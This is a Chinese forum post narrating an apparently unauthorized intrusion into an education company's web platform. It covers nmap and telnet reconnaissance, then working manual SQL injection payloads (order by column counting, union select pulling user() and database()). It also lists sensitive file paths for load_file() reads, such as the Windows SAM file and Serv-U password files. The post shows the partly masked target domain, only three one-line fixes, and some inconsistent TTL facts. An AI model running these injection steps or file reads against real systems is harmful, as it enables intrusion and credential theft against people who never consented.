找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2334|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:- K  y  W* s9 n2 e0 T! }
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……& i+ F4 j  U2 v+ v7 e2 W( `7 g! o
第一步:获取需要的信息0 M7 X4 B7 j2 R
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
2 P5 a8 c3 N6 n2 A! M/ ?注:以下为保护特用XXX代替敏感信息& E) k" H+ [. N9 [. i' f, O
顺手先PING了一下他们的域名:
/ a( ~+ R' X: @* y+ O& eping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
8 o' y6 Z8 P  Y' E1 V64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms+ L+ C( b/ y. C! S9 Q$ G1 W
顺便了解一下TTL,学好基础知识才能一路顺风:
+ |( ~% y1 ]2 }& h  w; C8 ?TTL:(Time To Live ) 生存时间
2 B9 C0 N2 T! k- D1 |% C指定数据包被路由器丢弃之前允许通过的网段数量。: u' c2 _/ m! c1 g2 T( x' h
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
( i) M! h  @+ R# S使用PING时涉及到的 ICMP 报文类型8 `  y& B6 L  u) _" }# M  w
一个为ICMP请求回显(ICMP Echo Request)7 h. ?4 P6 m2 r* P
一个为ICMP回显应答(ICMP Echo Reply). f9 h. I  e/ X& L( n0 D$ o
TTL 字段值可以帮助我们识别操作系统类型。
( ]1 a6 l1 h5 h8 U/ AUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2553 d7 M. z( a% ]: w' G1 I
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 {6 I% q7 p7 C) ]! v微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
& p: c$ J# @, L微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32( w8 @3 L- l6 ^9 c: L/ V! r: f
当然,返回的TTL值是相同的
. _; V, `' O( v% z' J- u但有些情况下有所特殊
  t6 n8 W& l  a5 d8 }( F4 _( [LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
  Q: B4 C' V: R& M# p' {! ^$ vFreeBSD 4.1, 4.0, 3.4;
; I! B: \) a) a5 @- Q, HSun Solaris 2.5.1, 2.6, 2.7, 2.8;
6 z( V! C. v" w' A. `+ I* LOpenBSD 2.6, 2.7,: Z% x' q/ i- j, a- }# g
NetBSD: U% M. X" f& A. D. h3 n
HP UX 10.20
  _. G! r$ q" Y; Z* y5 aICMP 回显应答的 TTL 字段值为 255
1 `  |3 I# Q' G9 Z. M, ZWindows 95/98/98SE
5 Q: l8 M' j' H& e+ TWindows ME. W2 K/ M6 p+ J" M& {, b
ICMP 回显应答的 TTL 字段值为 32
3 C& ]4 k% O: F5 a3 }Windows NT4 WRKS! I! Q' N" C4 j" _+ E
Windows NT4 Server
6 F* a2 Y: a% ^) g! e2 IWindows 2000
. J" x: a! H# lWindows XP
, R# q$ |$ `7 r/ NICMP 回显应答的 TTL 字段值为 128
8 Y5 X5 z$ V& u! w这样,我们就可以通过这种方法来辨别操作系统9 L  N" [5 J" H  _
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
& t3 f& B6 Q" Y用NMAP扫描一下:1 P( ~1 w0 [& j( J3 ^
nmap -sT -O XXX.XXX.XXX.XXX8 ~* o* c. d/ X  m" j
如果没有装WinPcap则会弹出提示:/ x9 [$ r) _  C8 N3 U2 ?/ h
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
  y6 l& h0 @! \3 Aade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
& u- S$ h6 Y8 P: z) mode — Nmap may not function completely0 m& i: a  j( J
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher; x$ n" m! t; Z) `- B) q  V, F
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
. f! W% ~/ M( qpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
3 j  u& P3 W( `d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
% s  N. L6 R) h: ~$ k  {% \4 O- versions, you may be able to take iphlpapi.dll from another system and place it i2 ]. M( E- u! t" W/ f. n4 R) B
n your system32 dir (e.g. c:\windows\system32).
) G; G( \6 i* O1 Q6 q; x  r, RQUITTING!
$ V' q  A* {# Z到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
9 h/ G  n, U- I$ G$ c# ~$ l安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
4 @; s3 Q, Y0 rInteresting ports on XXX.XXX.XXX.XXX:; @( |* S" s+ N1 f9 ?
Not shown: 986 closed ports/ O. T: h4 c1 H0 x  }# A& m& h
PORT     STATE    SERVICE
7 c/ ~7 [" c) M- A9 ?21/tcp   open     ftp- L: t4 F0 r0 T) ^" |9 I$ i9 l  R
22/tcp   open     ssh
. G& K5 i  o* t. q2 X" [23/tcp   open     telnet1 O+ U! D4 Z) o
80/tcp   open     http
7 J7 o. a) h$ G- r8 R# j5 i111/tcp  open     rpcbind
, |8 m5 f; G9 S4 }/ B6 ~135/tcp  filtered msrpc, U' q, }" ^3 X* Y" ?) A2 x: t
139/tcp  filtered netbios-ssn1 b& a6 K; w4 l+ q
445/tcp  filtered microsoft-ds& J0 c* @$ m1 j2 ^+ ]5 ^6 a
513/tcp  open     login
  n( D! B2 |# k4 X: \8 ]# O' M% g514/tcp  open     shell
$ `. w) D9 D+ i4 a$ {593/tcp  filtered http-rpc-epmap
: j0 y: F! z3 ?# T1720/tcp filtered H.323/Q.9313 j& Y1 q! c% ?. t2 H+ k
3306/tcp open     mysql) n$ k. C! \/ W' {/ O
4444/tcp filtered krb5244 X5 _6 l* q+ Y6 V  v5 X
Device type: WAP4 i& f  ^5 M0 k5 m2 o( T$ {7 r- f
Running: Linux 2.4.X: n: ~* u8 ~, Z. Z9 {7 W: J, k  r3 ?
OS details: DD-WRT (Linux 2.4.35s)) x, a2 N* A( e! z, Z9 Z
Network Distance: 13 hops9 n* @9 h2 c6 B$ h
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:0 j$ W% z* H' ?, k: L' D/ v
login as:
# w" l. |$ m  @/ p( r" wTelnet23端口也是开着的,用telnet 命令链接一下:
9 X( g, W9 z" ]telnet XXX.XXX.XXX.XXX
: X" J* U' k% @) H" n提示:3 i5 ]2 w% N* K& N4 [5 T
Red Hat Enterprise Linux Server release 5.2 (Tikanga)" r. O4 K9 E: q6 M5 l
Kernel 2.6.18-92.el5PAE on an i686& o" r! h) s' k% g
login:
4 E" R! ~4 s7 {: [- ~获取HTTP头信息:& \3 y5 S5 ^- _+ U, q0 K/ B
在本地执行如下PHP代码- x3 Z9 G; W  x' N( s
<?php! I, ~3 C6 P# y$ r1 R/ Q
$url = ‘XXX.XXX.XXX.XXX’;
: c+ ^" P" [, [, I& y9 kprint_r(get_headers($url));# p6 h6 H7 m6 ]- x; l  s) Q) d# y
print_r(get_headers($url, 1));7 w2 x, P% l  |
?>
* I( u" [/ K1 e9 t5 b8 A将以上代码保存为PHP文件,执行:
; v" C2 g+ P% g6 j6 E" S, O' U, gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
" `: K( s+ ?6 R现在可以得出结论:
! |" I4 z+ m1 @3 s9 D" e+ X. Y系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)9 l! j- S( F  U# [
内核版本:Kernel 2.6.18-92.el5PAE on an i686; @2 w: m8 M# n9 v% i6 Q
WEB服务器版本:nginx/0.7.61
) |6 `$ l% g8 Z$ M) f第二步,开始测试寻找漏洞  T- T# @1 I1 D/ A5 P$ E
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
* N$ w; X, w. x1 o; v' ]1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的0 p+ M5 K4 F1 B+ `* B& R( o
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
$ q5 ?: m1 f2 R2 dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常* d2 U& ~% I- f# T
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误, m, e& G7 L6 h5 y$ w  P" A$ w
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续; |, @, _, S' T. q# l5 \" V
3、手工注入:$ i! o7 Z+ u& ?, y
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。3 N/ J- o4 a; P- w
3.1 猜测当前表字段数
' w0 B: G1 D& Uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 100 t& E7 b; X4 ^8 P: |0 e* b
此处猜测有个简单的算法,都是有技巧的吗,呵呵# e* a3 G3 c( x) {* t
算法简单如下:
* i) `" `5 z, i: P6 Y# e% h. d  [) `8 {第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
5 T. _- k# d- L2 c, I第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
( n- k3 `' [5 R, |2 V- J需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
) O3 b0 R% o6 {, t以此来判断,是否过界,配合取中算法猜出字段数。
7 j( P/ \& Q: u. a- w举例:/ K5 [/ D; I' L- v+ t
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常5 H' f$ E2 F3 b& c9 B6 E
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
* }, S$ k5 U; W此时3则为我们要找的字段数。% a0 r9 [" P! |' V9 Z5 `
3.2 配合union联合查询字段在页面所位置
6 D# ], i' k% c$ }我们已经知道了字段数为3,此时则可以做如下操作:
0 }4 ^& m  m8 O% K7 lhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3# J' ^* `5 T6 Y- s( L; @# y
, H5 |8 g" z4 [
这样就可以测试到哪些字段在页面上有所显示了,如图:9 N# [, L  E1 ^7 q
" X  Q7 n- p4 l! T4 e2 d' z
3.3 查敏感信息
' J+ y3 {/ ~- I这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。7 ^8 }; W/ L" \- o2 j7 ?
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
: W) l* d! o+ i" D5 V7 j" @& ?! Z3.3.1 先查数据库用户、数据库名,以备后用,如图:* m3 k" ^8 q0 G9 m; K3 [( j' _- c

* ]2 a, S6 r& z0 p* v  u" O得到数据库用户为root、数据库名为DBxx;
4 o, ?% ?) Z/ o' s3.3.2 查配置文件. k- \& n" \- c+ a. n% f7 j. N
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。/ P: W& r  ]8 e2 s! B
查看文件有一定的条件限制:
3 T! d: ~7 p0 U! V8 S" B欲读取文件必须在服务器上
1 Z4 f+ e, }) c* {$ |8 x7 t必须指定文件完整的路径
/ r: A6 Z: Z) A2 [3 q8 \$ O3 j必须有权限读取并且文件必须完全可读( Q& N$ Z" z7 z# [' P; q8 D
欲读取文件必须小于 max_allowed_packet6 `) G2 h0 v' `3 R' d" O' q: A
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
  [5 w! A% H9 W常用的一些:
# N* j( e- k5 l' Q' `  g# J: x/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件' o6 h) y/ z8 w
/usr/local/apache2/conf/httpd.conf
2 t7 P" H% K4 ^& u& Z8 p/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
" L8 f/ E8 m, }3 \" O! D/usr/local/app/php5/lib/php.ini //PHP相关设置
  n4 X% R  C! [% T$ l/etc/sysconfig/iptables //从中得到防火墙规则策略- P! u& L) Z$ h! e9 |) |2 \( x6 L
/etc/httpd/conf/httpd.conf // apache配置文件* r& v- d/ o7 J; _8 N, R. U
/etc/rsyncd.conf //同步程序配置文件
8 S. L: f0 v* p8 D7 I+ l, G/ {/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.; v/ K. U, @) I9 b
/etc/my.cnf //mysql的配置文件
9 @* F* m- B# [0 Q/ {7 \$ \/etc/redhat-release //系统版本
- B0 k# F* T' l7 C, h$ s0 E0 _/etc/issue
8 t% ~$ s2 n, W/etc/issue.net
' N3 a/ Z4 B6 t: k+ dc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
& Z& L  T7 G# g, y) a8 m9 U) Jc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
4 N5 {: \! y9 }" ?$ F! N' O- ?c:\Program Files\Serv-U\ServUDaemon.ini+ U- @9 h9 X$ B5 X( ^7 ]
c:\windows\my.ini //MYSQL配置文件
) D7 j2 _2 V8 L1 {: g- m$ R- _c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件: u* g9 |2 A8 c3 t7 V: n/ r8 n" z
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
5 l: ~5 A2 `8 ]+ D5 V0 ?( i0 \) [c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码# |$ h, Q8 l5 Z- E5 }
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此/ F, A  z# A2 S* d* |0 c
c:\Program Files\RhinoSoft.com\ServUDaemon.exe- H0 J' r: I* ]& m
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件' k1 R$ I- x# B$ i2 o5 q) F
//存储了pcAnywhere的登陆密码. m% g. J5 |+ K1 m# C, C
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
3 O3 \' }/ ]) E" F, a8 G这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。' Z: V( A2 o" g3 M: e# X
最后:防范措施& i& l* `1 S4 N3 I" W: P# S) a
1、修复PHP注入漏洞;
4 _6 c7 q% C, J- E+ M) @2、Mysql使用普通权限的用户;) z2 l8 {( f7 |8 S4 S: A, S. s/ P
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表